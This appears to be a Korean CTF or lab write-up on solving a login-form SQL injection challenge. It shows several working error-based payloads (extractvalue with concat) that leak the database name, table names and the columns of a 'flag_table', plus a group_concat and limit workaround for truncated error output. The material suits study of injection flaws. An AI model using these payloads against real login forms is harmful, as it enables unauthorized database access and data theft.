
이전 문제와 같이 계정이 하나 주어진다.

주어진 계정을 정상적으로 로그인이 되는 걸 알 수 있다. sql injection point를 찾아보자!

잘못된 쿼리로 로그인을 수행 시 에러가 화면에 출력되는 걸 볼 수 있다. 이번에도 Error Based SQL Injection을 이용하면 될 것 같다!

normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1
이번에도 extractvalue 함수를 이용해 공격 format을 만든 후 실행 결과 database에 이름을 찾을 수 있었다. 다음으로 table 이름을 찾아보자!

normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2_1' limit 0,1))) and '1'='1
다음으로 column 이름을 찾아보자!

normaltic' and extractvalue('1', concat(0x3a,(select count(column_name) from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
첫 번째 row의 column 이름을 확인 결과 flag1 이 나왔다. flag가 나눠져 있을 수도 있을 거 같아 count 함수를 사용해 column 개수를 확인 결과 8이 나왔다.

normaltic' and extractvalue('1', concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
group_concat 함수를 사용해 column 이름을 한 번에 확인을 해보려 했지만 f에서 글자가 잘린 걸 보니 출력되는 글자 수에 제한이 있는 것 같다. flag5 까지는 알고 있으니 limit을 이용해서 나머지 3개의 column을 확인해 보자



1부터 8까지의 flag column에 flag 값이 나눠져 있는 것 같다.


flag1~4 flag5~8까지 group_concat 함수를 사용해서 확인한 후 두 개의 값을 합쳐주면 flag 값을 알아낼 수 있다!